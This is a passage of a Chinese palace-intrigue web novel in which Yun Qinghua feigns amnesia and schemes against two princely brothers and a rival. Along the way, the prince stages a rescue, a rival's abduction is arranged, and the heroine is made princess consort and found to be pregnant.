“老爷派人查了,云清婳并无动作,云家也没有发力,安分得很。” “这正是我最担心的!倘若她有所异动,我也好应对,怕就怕她悄无声息地作妖。”苏灵音微阖双眼,揉着太阳穴。 婢女不屑道:“云清婳为人招摇,追名逐利。而小姐神机妙算,却从不显山露水,就算云清婳有龃龉,也逃不出您的手掌心。” “呵,这是自然。”苏灵音的神色傲然,婢女的这番话让她很受用。 苏家已经没落了。 为了延续苏家满门的荣耀,她必须得替亲表兄裴云澈拔除前路的一切障碍。 姑母派她当细作,监视裴墨染的一举一动,她首先就要谋得裴墨染的真心,将云清婳从他的心尖上剔除。 思及此,她的眼中寒光四射。 云清婳跟飞霜走在街上。 飞霜欢脱的买了许多小玩意跟点心,她嘲笑道:“主子,苏家这些天一直在暗中查您、查相爷,生怕咱们争抢肃王妃之位。殊不知,咱们单纯的很,根本什么都没做。” 她但笑不语。 下等计谋,又争又抢;中等计谋,以退为进;上等计谋,驱虎吞狼。 苏灵音自然什么都查不出来,因为她根本不打算出手,真正会出手的人是裴墨染啊! 苏家现在一定很惶惑、担忧、不安…… 总觉得她会在背后偷偷捅刀子,可准备捅刀子的,恰恰是他们最放心的人。 主仆二人正聊着,完全没注意到身后一群蒙面人早早就盯上了她们。 穿过街头拐角时,猝然跳出来了几个强壮的彪形大汉,他们蒙着面,手里拿着的大刀上还沾着未干的血渍。 百姓一哄而散。 “啊……”飞霜吓得惊呼,慌忙挡在云清婳面前。 云清婳的眸子一震,脑袋一片空白。 她抓住飞霜想转身逃跑,可才跑了几步,迎面又走来两个壮汉。 男人猥琐的奸笑,“这两个妞,长得不错!” “呵呵呵呵……一定能卖个好价!” 飞霜吓得嘴唇都在颤抖,“人牙子不是被北镇抚司剿了吗?这是怎么回事?” 壮汉突然沉默,“……” 突然,云清婳福至心灵。 他们显然不是刺客。 任何歹人都不会这么蠢,光天化日之下,在街上行凶。 而且这里离北镇抚司很近。 只有一种可能,他们是裴墨染找来演戏的。 飞霜也很快想明白过来,她渐渐恢复镇定,“各位大哥,你们想要钱,我们给你们钱就是!何必呢?” “我们不要钱!快跟我们走!”几个男人逐渐向她们逼近。 云清婳双眼噙泪,眼眶泛红四处张望,煞白的小脸透着惊恐、无措,有一种破碎的美感,美得摄人心魂,惹人怜惜。 几个副将登时傻眼了。 他们还没做什么呢,云侧妃怎么跟耗子见了猫似的? “救命啊!救命!”云清婳惊呼。 就在这时,裴墨染被乾风跟诸葛贤拉着大步跑来。 他看着云清婳惊慌的小脸,心头一痛。 这一帮蠢货! 谁让他们擅自行动了? 第133章 裴墨染被当街扇巴掌 他只好硬着头皮提剑朝她奔去,将几个副将一顿暴揍。 只打了十个来回,几个副将就扛不住了,匆匆逃跑。 “呜呜呜……”云清婳站在原地,哭得一抽一抽的,浑身瑟缩。 飞霜似乎也吓得不轻,她一边哭一边还得安慰云清婳。 裴墨染大步上前,将云清婳搂在怀里,柔声道:“别怕,歹人已经被我赶走了,他们再也不会回来了。” “王爷……”云清婳扑进他的怀里,双手环住他的腰,嚎啕大哭。 蛮蛮已经把称呼从肃王殿下换成王爷了。 诸葛先生的这个计谋果真好用。 裴墨染紧紧搂住她,大掌轻抚她单薄的背,“蛮蛮,不怕了,有我在。” 她抓住他的腰带,抬起小脸,泪眼婆娑地望着他,她的眼眸灿若星子,其中流淌着崇拜,“王爷,幸好您来了。” 裴墨染就喜欢她这个眼神! 当初她被一群命妇为难,他从中解围后,蛮蛮就露出这种表情。 或许蛮蛮就是在那时,对他心动的。 思及此,他的心像是坠进了蜜罐子,甜滋滋的。 他伸手揩去她眼角的泪花,“别哭了,再哭我就要心疼了。” “……”云清婳的面颊绯红,她羞怯地扭过脸,不跟他对视。 “蛮蛮,都怪我一时疏忽,我应该陪着你的,否则你也不会遭此横祸。”他装模作样地说。 “您千万别这么说,我离府应该禀告您的。”她对他的态度终于柔和下来,甚至还有些愧疚。 裴墨染心中暗喜,很是享受此刻蛮蛮的温柔小意。 远处,诸葛贤跟乾风看到这一幕,满意地点头。 裴墨染哄了好一会儿,云清婳终于停止了哭泣。 她赶忙从他的怀中抽身,脸红得像是熟透的虾子,她连连后退,多亏飞霜扶着,不然险些摔倒。 “你羞什么?你我是夫妻。”他轻刮了下她的鼻尖,揶揄道。 “就算是夫妻也不能在街上搂抱啊。”她嘟着嘴,语气颇有种撒娇的意味。 这给了裴墨染一种错觉,他们仿佛回到了蛮蛮失忆之前。 “要去何处?我陪你。”他道。 云清婳不语,她的视线落在蒙面人站的位置。 地上躺着一块黑色的令牌。 裴墨染的眼神登时变得心虚、羞恼,他正欲阻止。 可云清婳快一步捡起了令牌,她的眸子瞪圆了一圈,惊愕道:“北镇抚司?!” 她的表情从惊愕化为愤怒、厌恶,“卑鄙小人!” “蛮蛮,不是你想的那样……”裴墨染慌乱地解释。 啪—— 云清婳抬手狠狠扇了裴墨染的下巴,转身就跑。 为什么扇了下巴呢? 因为她太矮,够不着他的脸。 远处的诸葛贤、乾风立马捂住眼睛,扭身逃跑。 天爷啊! 早知道就不出这招了。 裴墨染当街被女人扇巴掌,只觉得无比屈辱,气不打一处来。 他仿佛从云间跌进了泥潭。 他一回头,发现北镇抚司门口站了不少将士。 裴墨染怒不可遏,陡然拔高声音,“真是越来越无法无天了!” “看什么看?滚回去操练!” …… 避开裴墨染后,云清婳跟飞霜扑哧笑出声。 “哈哈哈哈哈……”主仆二人笑作一团。 “王爷为了挽回主子,竟想出这么幼稚的招数!”飞霜笑得小脸涨红。 云清婳揉了揉发红发烫的掌心,她无奈地说:“真是犯贱!我都不想打他了,可他非逼我扇他耳刮子。” 飞霜扑哧笑了出声,“多亏王爷脸皮厚!” “他就是欠揍!变着法逼我扇他!” …… 云清婳与裴云澈泛舟游湖。 二人站在甲板上,感受着湖面吹来的风。 裴云澈侧头看着云清婳满含爱意的双眼,心中竟感到前所未有的充实。 蛮蛮是爱他的,无论失忆前后,她眼底的情意都藏不住。 这是裴墨染可望而不可求的。 “蛮蛮,其实你失忆之前,我们……” 云清婳打断他的话,“上次,殿下似乎觉得我和离之事不妥,所以我想要假死脱身。” 裴云澈有些意外,但这也是他一直以来的想法。 但他不敢说给蛮蛮,这代表着失去云家嫡女以及第一贵女的身份,他怕蛮蛮会不高兴。 “如此甚好。”他的眉宇舒展开,“蛮蛮,等你离开肃王府,我们就……” “我打算南下游历。”云清婳继续道。 裴云澈的心咯噔一响,眼眸骤然瞪大,“什么?” 一个猴一个栓法。 裴云澈不缺爱,从小顺风顺水,所以能拿捏他的方式就是让他体会失败。 他身为天之骄子,心爱的女人,却要离他而去,他能忍吗? “我未曾出过远门,只听哥哥们说过大昭的河山,我想亲眼看看,不愿困囿于京。”她望着碧波,眼中向往着自由。 裴云澈眼底的喜色渐渐消退,他着急道:“那我该怎么办?蛮蛮,我是悦你的,你也是悦我的,你要抛下我不成?” 云清婳的态度决绝,“殿下倘若真的悦我,又怎会让我嫁给旁人?失忆或许是天意,让我看清了很多人,很多事。” 裴云澈感觉周身空气稀薄,他快喘不过气来。 她的表情实在太过镇定清冷,就好像直接穿透了他的内心,窥见了心底的阴暗。 “蛮蛮,不要走好不好?之前都是我怯懦自私,可我已经知错了。”他俯下身,放下傲骨,抓住她的双手。 “待我回京,殿下倘若心意未变,我自会找殿下。”云清婳也抓住他的双手,双眼含笑,与他对视。 他不敢看她通透的双眼,喉咙干涸发痛,恍惚间竟不知该说什么。 就在这时,游船靠岸。 侍卫放下船梯,甲板上传来了脚步声。 裴墨染一来便看见,云清婳与裴云澈执手相握,情意绵绵的对视。 他的眸子阴冷下来,如鹰隼般狠厉,“你们在做什么?当本王死了吗?” “……”云清婳缓缓收回手,她扭过脸,眼神冷若霜雪。 事实就是,她根本不在乎被裴墨染“捉奸”! 她“失忆”了,裴墨染能奈她何? 裴墨染的太阳穴突突地跳着,胸中的怒气与躁意交缠。 才一会儿没看住,他们二人就牵手定情了。 倘若再晚来一步,他们岂不是会有更亲密的举动? 思及此,他的心尖颤抖。 第134章 她让两兄弟相残 裴云澈发出一声叹息,他的眼里含着歉疚以及一丝心疼,“墨染,蛮蛮心中无你,倘若你真的爱她,就放手吧。” 裴墨染的拳头捏了起来,滔天的怒意犹如岩浆迸发,“裴云澈,你勾引蛮蛮,你可知耻?” “墨染,别这么幼稚。蛮蛮为了我们,付出太多了,放过她吧。”他的语气虽然温润,可并不是商量的语气,而是命令。 “竖子!”裴墨染懒得跟裴云澈惺惺作态。 他早就对裴云澈厌恶到了极点,看着这个伪君子就膈应。 裴墨染二话不说的大步朝着云清婳走来。 云清婳惊惶地后退,瞳孔涣散,“你干什么?” 他的面色阴沉得如同被乌云笼罩,他抓住云清婳的腰,单手就将人扛在肩膀上。 “啊……”云清婳感觉到一阵天旋地转,吓得惊呼。 “放我下来!放开我!”她拼命挣扎,双手攥拳狠狠砸他的背,双腿在空中乱蹬,就连脸蛋都在用力。 “墨染,你怎可这般对蛮蛮?你放开她!”裴云澈的眉飞入鬓,神色猝然冰冷。 他想阻拦,可裴墨染一手从腰间抽出剑,哗—— 银色的寒光出鞘,直指裴云澈的脖颈。 只差一厘,剑刃就能触及他的皮肤。 裴云澈的眸子闪烁,似乎难以置信裴墨染的举动。 几乎同时,云清婳的眼中跳动着嗜血般的兴奋。 杀啊! 杀死他啊! 狗男人怎么不动了? “蛮蛮是本王的女人,下次倘若再让本王看见你僭越,本王不介意用这柄剑沾上你的血。”他咬牙切齿地放下狠话。 可裴云澈面无波澜,他冷嗤:“幼稚!” 在他看来,裴墨染就是一个粗鄙无脑的武将,一个杀人工具,根本不懂男女情爱。 裴墨染愤怒,无非是觉得自己的东西,被旁人侵占了。 这轻慢的态度,把裴墨染激怒了。 他感觉浑身血液逆流,怒火翻滚,名为理智的一根弦崩断了。 这一刻,杀了裴云澈的念头到达了顶峰。 可他太擅长隐忍,他不知自己究竟是怎样压下了狂躁的念头。 云清婳作壁上观了一切,完全洞悉了裴墨染的克制。 她怎会依他? 于是她火上浇油起来:“不许伤害殿下!你要杀就杀我!” “混蛋!你不许碰殿下,不许!” “你这个卑鄙无耻的小人,连殿下的一根头发丝都比不上,你怎么敢不敬?” “你今日若敢伤殿下一根毫毛,我就算做鬼也不会放过你。” 此话如同浇到火上的烈酒,蹭的,怒火猛烈的窜了起来。 倏地,让裴墨染快要被压下的火气无限变大。 他浑身萦绕着戾气,眼中的杀意外泄,看裴云澈的眼神犹如在看战场上的敌人。 手中的剑颤抖着…… 裴云澈丝毫不惧,因为他心中是瞧不上裴墨染的,固执地与之僵持。 “王爷!” 诸葛贤的声音响起。 他看到眼前的一幕,快要吓晕过去,他赶忙跑来,将裴墨染握剑的手放下。 “王爷息怒啊!”诸葛贤苍老的声音颤抖着。 云清婳的后槽牙磨得硌吱硌吱响,她泄气般的四肢瘫软下来。 诸葛贤倒什么乱? 就差一点! “贤王殿下莫怪!”诸葛贤又转身向裴云澈行礼。 裴云澈波澜不惊,面上仍旧挂着招牌性的儒雅的笑,“无妨,墨染性情直率,本王作为兄长从小便知。” 裴墨染将剑收回剑鞘,他瞪了裴云澈一眼,大步离去。 他实在气不过,啪啪在云清婳屁股上拍了两巴掌。 微微的痛感隔着层层布料传到臀肉上。 云清婳抽抽噎噎地哭了,“呜呜呜……” 裴墨染的心随之隐隐作痛。 但他告诉自己,这是惩罚,她该的! 裴云澈的双眼幽深,如同潜伏在暗处的毒蛇。 …… 裴墨染将云清婳扛进了马车里,把她当瓷器似的轻轻放在软垫上。 “呜呜呜……”云清婳捂着脸,委屈得直抽抽。 他低头看了看掌心,霎时有些后悔,可还是暴躁的低吼:“你哭什么哭?你如今是本王的侧妃,你怎敢与裴云澈私会、牵手?你可有分寸?” 她圆润的杏眼一瞪,哽咽道:“你有什么资格质问我?你设计戏弄我,你就有分寸吗?殿下光明磊落,至少不会用这种卑鄙手段!” 裴墨染像是被狠狠甩了一巴掌。 他想解释,可真相实在太荒唐,他说出来,她也一定不会相信。 “才一个月,你就对裴云澈动心了?你方才为了他,要杀了我?”他的心隐隐作痛,像是被人生生挖出了一块。 这会儿回忆起来她的一字一句,心脏就像被揉成了糜。 云清婳用手背揩去眼泪,她偏过脸,神情倔强,“跟您这种只会算计感情的人说了,您也不懂。” “贤王殿下本是我的未婚夫婿,我早就告诫自己要敬他爱他。如今我一觉醒来,所有人都说我嫁给了您,可我根本就不认识您,我怎能接受?” “更何况,我被山匪劫持,是贤王殿下救了我!他是我的救命恩人,救命之恩是超越一切的。” 裴墨染气急攻心的同时,也松了一口气。 因为在云清婳的叙述中,他并未听到她对裴云澈的感情。 她的记忆停留在十五岁,那时的她只是懵懂少女,根本不懂情爱,她的言辞里只有对裴云澈的尊敬跟感激。 男人上翘的桃花眼覆上一层恨意,他指着胸口,拔高声音:“当初救你的人是我!裴云澈躲在一边,什么都没做,他连他的侍卫都不如!” 云清婳用鄙夷的眼神睨他。 裴墨染有种一拳打在棉花上的无力感。 因为方才的事,他无论说什么她都不信了,心中认定了他是满腹心机、满嘴谎言之人。 “蛮蛮,你就是个笨蛋!你说的根本不是喜欢,不是爱,只是伦理纲常跟感激!”裴墨染气急败坏的低吼。 “无论如何,现在我才是你的夫君,你应该敬我、爱我。趁早歇了你对裴云澈的心思!” 云清婳摇摇头,坚定地说:“肃王殿下,您心中无我,又何必强求呢?您若是不答应和离,我也有千千万万的方法脱身。” 裴墨染气不打一处来,他忍住脾气,“我若是答应和离,你想起来后会怪我的。更何况,我心中有你!我欠你的,都会补偿给你,你只管看着。” 云清婳的眼底闪过得逞之色。 啧,果然啊。 王妃之位,快要到手了。 云清婳下马车时,裴墨染殷勤地伸手想要扶她。 可她没搭理。 若是之前,裴墨染定会难过、恼火,但他现在已经安抚好了自己,他直接将人从脚凳上抱了下来。 “啊……”她惊呼了声。 “怕什么?我还会吃了你不成?”他没好气道。 诸葛贤一直骑马跟在他们身后,他下马后,快步走来,对裴墨染、云清婳拜了拜。 “诸葛先生,你怎么跟来了?”裴墨染不咸不淡地问。 诸葛贤恭敬地看了他一眼,遂对着云清婳拱手,“云侧妃,有一件事,老夫想要解释。倘若老夫不说出来,恐怕良心难安。” 第135章 苏灵音清白不保 “想必这位就是诸葛军师?有什么话,您说便是。”云清婳扬起端庄的笑,仪态万千的福礼,落落大方。 裴墨染的心酸溜溜的,为何蛮蛮对每个人都彬彬有礼,唯独见了他满眼嫌弃? 诸葛贤正色道:“云侧妃恕罪,方才英雄救美的戏码,全是老夫的主意,王爷明确拒绝了。可几位副将肆意妄为,背着王爷,擅自做主恐吓了您。” “王爷也是被老夫引去的,他见木已成舟,无奈之下,只能配合副将表演。” “王爷从头到尾都无意骗您,全是我们下作卑鄙,企图算计您,让您再次倾心王爷。老夫一把年纪了,倘若云侧妃不信,老夫敢用性命对天发誓!” 裴墨染迫切地望着云清婳,希望得到她的认可与相信。 云清婳忙不迭道:“诸葛军师是出了名的高风亮节,您莫要起誓,我信您!” 诸葛贤深深鞠了一躬,“老夫这就去北镇抚司领罚,先行告退。” “蛮蛮,你这下信了我吧?我无意骗你。”他道。 云清婳掀起眼皮看他,眼神中夹杂着一丝愧疚,“王爷,对不住,方才我打了您。” 她的声音又娇又细,清甜软糯的,好听极了。 裴墨染嘴角斜提,他装模作样地呻吟了一声,“是有些疼,不如你给我揉揉?” 她的脸颊红如桃花,乜了他一眼,径自回府。 …… 云清婳前脚刚进寝殿,裴墨染后脚便跟了进来。 他的视线一直落在她纤细的腰肢以下。 她浑然不知,自顾自去了屏风后面,脱下身上素净的常服,准备更衣。 镜中的女子身段纤细婀娜,却凹凸玲珑,体态端庄可举手投足间尽显妩媚。 当她只着亵衣的时候,裴墨染拿着药瓶走进屏风。 “出去!”云清婳的黛眉一拧,嘟着嘴看他。 “方才打得疼不疼?让我看看。”他一本正经,眼神中不带丝毫情欲。 云清婳是着实惊了,她没想到裴墨染会来这一出! 好羞耻。 “我不疼!我不需要!”她胡乱抓起一件锦绣外袍连连后退,从屏风的另一侧绕出去。 裴墨染早就洞悉了她的想法,他从反方向一绕,正好在出口把人堵住。 “再跑啊。”他挑眉,神色精明,就像逗弄老鼠的猫。 他擅长行军打仗,抓她手到擒来。 云清婳的头皮发麻,小脸红得简直快要泣血,她的眼眸中充盈着泪花,“真的不用了,谢谢王爷的好意,飞霜给我上药就好。” “飞霜还在路上,尚未回府。”他的语气毫无波澜,不容商量。 “我可以让医女给我上药……”说着,她转过身就跑。 可还没跑两步,裴墨染跟捉猫似的抓住她的后衣领。 他长臂一伸,将云清婳拖进怀里,把人抱到了榻上。 “你臊什么?你哪里我没看过?你的肌肤娇气,拖不得。”他跟对待小孩似的,让云清婳俯趴在他的大腿上,一手按住她的背,把她固定住。 任凭云清婳怎么挣扎都没用。 她攥着粉拳无力地捶着榻,“您放开我!一会儿飞霜回来,她就给我上药。” 裴墨染是真没往情欲的方向想。 受伤了就应该上药。 他在前线打仗就是如此,忍痛拖着,反而会拖出大病。 “你沐浴都不好意思让人伺候,上药会好意思?”他反问。 她的浑身发热,小脸更红了。 裴墨染沾了点药膏,涂在伤处。 云清婳感受到另一个人的体温、指腹粗粝的触感,羞恼得不行。 她反手,以牙还牙的在裴墨染的屁股上胡乱拍了好几下。 裴墨染这次没有生气,任凭她撒气,嘴角勾起了一抹弧度。 以前,蛮蛮也总是如此,他打她屁股,她总要报复回来。 他担心再被云清婳误会成趁人之危的小人,立即为她穿上亵裤,放开她。 腰上的束缚被解除,云清婳立即钻进被褥,眼尾晕出了淡淡的薄红,眼角含泪,一副被辱的恼怒模样。 裴墨染的喉结上下滚动。 他又没做什么,她摆出这副姿态给谁看? “你委屈什么?我给你上药,还成了我的错了?”他的眸色逐渐变深,理不直气也壮。 云清婳眼泪啪嗒掉了下来,“流氓!我一定要和离!” “休想!”他一字一顿。 二人正吵着,门外传来急促的脚步声。 管家焦急的声音远远传来,“王爷,不好了,不好了……” “苏小姐去寺庙烧香,回来的路上被劫匪掳走了,人仰马翻……” 云清婳的眼中闪过异色。 呦呵,裴墨染真狠啊! 为了不把王妃之位给苏家,竟然不惜毁掉苏灵音的名节。 “啊?”云清婳捂着嘴,一脸惊愕。 裴墨染的眼角眉梢染上了不易察觉的喜色。 他看向云清婳,“我晚上再来看你。” “您快去救苏姑娘啊。”她催促着。 裴墨染心中激起了一层躁意。 蛮蛮如今是当真一点都不想要正妃之位,更不想成为他的妻子。 …… 苏灵音被土匪掳走,本就是裴墨染的手笔。 裴墨染先派北镇抚司、京兆尹草草查了下,遂联合苏家一齐锁定了“山匪”的窝点。 最后在山上真剿了一个匪窝,顺便将苏灵音救了出来。 可悠悠众口是堵不住的,百姓都说苏灵音十有八九不清白了,说她脏了…… 每次遇到女子遭殃,都会有各种糜烂的谣言,一个比一个惊骇、残忍…… 第二日,找到苏灵音的时候,她的脖颈上被自己用簪子割破了,一副为了守护清白,宁死不屈的模样。 可这条伤痕,怎能堵得住百姓的遐想? 毕竟世人只愿相信自己愿意相信的。 苏灵音扑进裴墨染的怀里,“肃王哥哥,我好怕,我以为再也不能见到您了!” “呜呜呜……王爷,方才山匪想要轻薄小姐,小姐以死相逼,这才得以逃脱。”婢女抽抽噎噎地哭着。 苏灵音抽噎道:“我即将嫁给肃王哥哥,自然不能被旁人染指!倘若旁人敢碰我一根指头,我也不会苟活于世。” 主仆当着众人的面一唱一和,无非就是在变相证明自己是清白的。 裴墨染一眼便看穿了她们的心思。 他亲自将苏灵音送回府后,又派人将第三波聘礼送来,最后下了聘书。 裴墨染走后,苏灵音一脚踹翻了面前的凳子,双目赤红,“怎么回事?为何我被掳走了?爹爹,你不是说云家跟云清婳没有异动吗?” 苏将军的面色铁青,像是被覆盖了一层阴霾,“云家、云清婳一直被咱们的人盯着,他们真的没有异动啊。这些山匪究竟是何人派来的?” 他们毫无头绪,根本想不通。 “或许是巧合?听说方才肃王剿了匪窝,土匪被刺得肠穿肚烂。”苏夫人安抚着。 苏家小妹道:“姐姐,看肃王这架势,应该是不计较劫匪的事了,您安心嫁过去便是。肃王还敢忤逆姑母不成?” 苏灵音捂着心口,“我总感觉哪里不对劲。爹爹,你再去查查。” …… 第136章 蛮蛮册封为王妃 苏家跟肃王府的婚事,依旧如火如荼地进行着。 苏灵音被山匪劫持的事情,被皇后跟苏家压了下来,水过无痕,无人敢提。 肃王府。 云清婳操持着婚礼,到处张灯结彩,热闹非凡。 不少姬妾都用嘲讽亦或是怜悯的眼神看着云清婳。 “啧,居然还有心情张罗婚事,也不知是真失忆了,还是装的。” “真是可怜人!京城第一贵女却一直当妾,与咱们也没什么不同!” “苏灵音可是皇后的侄女,皇亲国戚!云清婳算什么东西?” 云清婳瞥了她们一眼,脸上依旧保持着端庄的笑,“我只是失忆了,可耳朵没聋,你们说话还是避着点人为好。” 一位牙尖嘴利的妾室福福身,“云侧妃,妾身只是在说实话。” “放肆!云侧妃说话,你们也敢顶嘴?”飞霜怒斥。 一个身段高挑的妾室好整以暇地看着云清婳,挑衅道:“云侧妃向来宽宏,难道还要为了口舌之失,惩戒我们?此事若是传出去,只怕会让人笑话。” 就在这时,御前太监带领十几个宫人拿着圣旨来了。 “云侧妃接旨!” 云清婳的眸中闪过喜色。 众人齐刷刷的跪倒一片。 云清婳礼仪周到的跪在最前面,俯身叩首,背脊绷得笔直,如同琴弦,“臣妾接旨。” “奉天承运皇帝,诏曰:肃王府侧妃云氏,毓质名门,持躬端肃,礼教克娴。值原王妃自请批离,后宅无主,尔主中馈,晋为肃王妃。钦此。” “臣妾领旨,谢陛下。”云清婳的嘴角勾出深深的弧度,她抬眼的瞬间,却做出无奈的表情。 太监将圣旨递到云清婳的手上,“恭喜肃王妃。” “多谢公公。”云清婳起身。 飞霜不动声色地从荷包里抓了把金瓜子塞给太监,“劳烦公公送来好消息了。” “王妃客气。”太监笑得见牙不见眼。 宫人放下赏赐、王妃册宝一类的物什便走了。 府邸众人齐声道:“参见王妃。” 方才顶嘴的妾室早就吓得面无血色,浑身哆嗦,眼泪扑簌簌地落下。 云清婳走到她的面前,状似无意地一脚踩中她的手,狠狠碾压,“这位妹妹,日后要谨言慎行啊。” “嘶……”妾室痛得呻吟,额上汗涔涔的。 云清婳缓缓将脚挪开,“对不住,我没看见。” 妾室的手上的皮都被磨烂了一层,见血见肉,猩白的肉上都是鞋底的渣滓,她屈辱道:“是妾身没长眼。” 周遭的人不禁倒吸了口凉气。 云清婳捏着圣旨,心情不错,“平身。” 她转身去往玄音阁,魏娴不紧不慢地跟上了。 “蛮蛮。”她眼含热泪地轻轻唤了一声。 看到蛮蛮被册封为正妃,她不禁热泪盈眶。 云清婳一转身,便知道魏娴看出来了。 回到玄音阁,云清婳一把抓住魏娴的手。 “蛮蛮,我们稳妥了。”魏娴哽咽道。 云清婳重重颔首。 “只是主子演得这么好,魏夫人是如何看出来的?”飞霜挠了挠后脑勺。 魏娴勾唇一笑,“我看见你塞给太监总管一把金瓜子,说明你们早就算计到了今日。” 飞霜有点懊恼。 没想到纰漏在她这里! 云清婳把玩着圣旨,眼下尽是笑意,“无妨,王妃之位已经到手!其他的就不重要了。” “只是这场戏该如何落幕?总不能一直装失忆吧?”魏娴蹙眉。 她的眼珠子滴溜溜一转,“落幕很简单,但是要有价值。” 她所走的每一步,都得换取好处。 说着,她从妆奁里拿出了一枚假孕药,塞进嘴里。 正说着,裴墨染大步流星的走来,他向来平淡的脸上扬起了笑。 看到了魏娴,他的脸色冷了几分。 “见过王爷。”魏娴跪下行礼,“妾身是特意前来恭喜王妃的。” 裴墨染轻扬下巴,示意她起身,“多来走动也好,若是能让王妃想起往事,本王重重有赏。” “是。” 魏娴识趣地告退。 裴墨染瞥见了桌上的圣旨,俯下身,对她对视,“怎么样?我答应会将王妃之位给你,便一定会给你。你现在总该相信我心中有你了吧?” 云清婳觑了他一眼,“莫名其妙!我何时问您要过?苏姑娘才遭挟持,又失了王妃之位,她该有多伤心?” 他气闷不已。 都这个时候了,她还在为旁人考虑? “她被劫持了一夜,名声尽毁,皇家断不容许让有污点的人当王妃,这也是父皇的意思。”他冷声道。 云清婳的面上不见喜色,“王爷,我们早晚要和离的,这圣旨送下来,您让我怎么办?” “你如今是父皇认可的儿媳,此事已经昭告天下!你接了圣旨,现在若是提出和离,你是想欺君吗?云家人的脑袋都不要了?”裴墨染说出心中的算计。 他之所以提前派人掳走苏灵音,就是担心云清婳会提出和离。 云丞相是肱股之臣,蛮蛮又是声名远播的第一贵女,再加上有裴云澈的协助,他真的害怕父皇会答应和离。 “你算计我?卑鄙无耻!”云清婳拿起圣旨狠狠朝他的脸砸去。 裴墨染凌空接住圣旨,惊愕道:“这可是圣旨,你疯了?” 她的眼珠子都快瞪出来,“你才疯了!谁稀罕做你的王妃?你只会动粗,没有一点好!” “我没有一点好?谁好?裴云澈这个下作无耻、觊觎弟媳的小人吗?云清婳,你心中可有伦理纲常?”他低吼。 她气得双臂浑身颤抖,眼泪一颗颗砸下,“我恨你!我恨死你了!” “随便你!你尽管恨我,反正爱与恨都是放在心里的。”裴墨染故意气她。 云清婳许是真被气到了,她的五脏六腑痉挛,胃好似搅在了一起。 “你……呕……” 她唇舌发干,嘴里尝到一股淡淡的咸味,忍不住弯下腰吐了。 这假孕药见效也太快了点。 “蛮蛮,你怎么了?”裴墨染着急地将她抱到榻上,从外面吩咐,“传府医!” 云清婳又吐了好几次,把胃里的酸水都要吐个干净。 飞霜似乎看出了不对,担心地来回踱步。 “蛮蛮,是我错了,我不该与你吵架,都是我不好。”他蹲在榻前,紧紧握住她的手,满脸心疼。 云清婳虚弱地躺在榻上,胃里恶心得厉害,她呻吟道:“你别管我。” “我是你夫君,我怎能不管你?”他轻吻她的手背。 第137章 蛮蛮怀孕了! 府医很快就来了,他给云清婳把完脉后,咧嘴一笑,“恭喜王爷!王妃有喜了!” 登时,寝殿鸦雀无声,落针可闻。 裴墨染、云清婳都沉默了。 少顷,贴身太监跪下一拜,“恭喜王爷!” 众人跟着齐齐跪下,“恭喜王爷。” 裴墨染忽然笑了一声,双眼发亮,他惊喜地俯下身在云清婳的脸上亲了又亲,“蛮蛮,我们又有孩子了!我们又有孩子了!” 云清婳方才把假孕药给吐了出来,她有些惴惴不安。 “飞霜,你们主子几个月没来月信了?”裴墨染谨慎地问。 飞霜苦着脸,“两、两个月了。” 云清婳的心咯噔一响,一定是上次忘记喝避子药了。 “赏!今日在场的,统统有赏!”裴墨染大手一挥,大气的说。 云清婳像是被抽走了魂,心里盘算着。 这个孩子不在她的计划之内。 但也是帮她固宠的利器! “蛮蛮,你都怀孕了,还要跟我和离不成?”他巴巴的望着她。 “我……”她面露纠结。 裴墨染将耳朵贴在她的腹部,耐心地哄道:“你就算厌恶我,可孩子是无辜的。再说了,倘若你心中没有我,自有办法打掉,你怎会怀上我的孩子?” 云清婳似乎被打动,她垂下双眸。 另一边,苏家却气绝,闹成一团。 到了皇后选定的良辰吉日,苏灵音便按照正王妃的规制,被八抬大轿从苏家抬进了肃王府。 这场婚礼声势浩大,惊动京城,给足了苏家体面。 只是因为被土匪劫持的丑闻,婚礼并未宴请,新郎从头到尾也不曾现身。 苏灵音径自被抬去了一个偏院。 此时,裴墨染正在喂云清婳喝药,“怀孕之事,莫要与旁人说。” “我知道。”她催促,“您快去洞房吧,别让苏侧妃等急了。” 他的面色一冷,“又把我往其他女人那儿推!” “……”云清婳懒得搭理他。 虽然明知道她现在失忆了,所以对他没有感情,可心里还是忍不住难受。 就在这时,贴身太监匆匆来报,“王爷,皇后娘娘驾到!” 裴墨染的脸上闪过暗色,他毫不意外。 皇后这是来给侄女撑腰了,亦是对他跟蛮蛮下马威。 “将皇后赏赐的凤纹掐丝金镯子拿来。”裴墨染命令。 飞霜将镯子给云清婳戴上。 里面的息肌麝香丸全被取了出来,已经无害了。 二人去了花厅,皇后已经在上首坐着,仪态万千,眼中是外泄的威严。 “见过母后。”裴墨染跟云清婳恭敬地拜了拜。 皇后阴沉着脸,指尖轻点着面前的檀木桌,“墨染,今日你大婚,为何不去陪伴灵音?你莫不是厌恶灵音亦或是想违抗母后?” “儿臣不敢,儿臣正准备去见表妹呢。”裴墨染恭敬道。 皇后的表情柔和了几分,她的眸子一斜,落到云清婳的身上。 瞥见了她的腕上的镯子,她的眼神闪过讥诮的光,“你们要记得,若不是灵音遭了横祸,王妃之位定落不到清婳头上。这是你们欠灵音的!” 云清婳在心中翻了个白眼。 这是她凭本事挣来的! 凭什么就成了苏灵音的? 裴墨染温顺地应声,“是,儿臣谨记于心。” 云清婳也跟着称是。 “既然如此,就把清心阁腾出来给灵音吧!她是你的表妹,是本宫的侄女,本该入主正位。”皇后不由分说。 裴墨染的剑眉一沉,“母后,如今蛮蛮才是正妃!您这是作甚?” “清婳方才点头了,在她心目中一定也认为清心阁本该给灵音住。清婳,你说呢?”皇后挑眉。 云清婳面不改色,端庄地颔首,“儿媳全听母后吩咐。” 清心阁被赵婉宁住过,她膈应得要死! 一点都不想住进去! 垃圾就该待进垃圾桶里,苏灵音住进去正好。 裴墨染蹙眉,“母后,哪有侧妃住正殿的道理?” “你的表妹难道不配吗?墨染,”皇后的声音陡然一冷,“近日你愈发爱跟母后顶撞,母后真的寒心啊。” “……”裴墨染适时闭嘴。 …… 当日,苏灵音便住进了清心阁。 裴墨染送云清婳回了玄音阁。 “我即刻命人修缮玄音阁。”他心中对云清婳有了亏欠。 云清婳摇头,“我怀着孕呢,别折腾了。” 他只好应下,他轻抚她的小腹,“蛮蛮,你失忆了,我本不便与你说。苏灵音是皇后派来的细作,定不会安分,你要多多提防。” “嗯。”她颔首。 裴墨染张开双臂拥着她,“我与她只是逢场作戏,你莫要多心。” 自从发现怀孕,他便发现云清婳乖顺了不少。 幸得有了孩子,蛮蛮才肯歇了和离的心思。 “您快走吧。”她推他。 裴墨染只好无奈地离去。 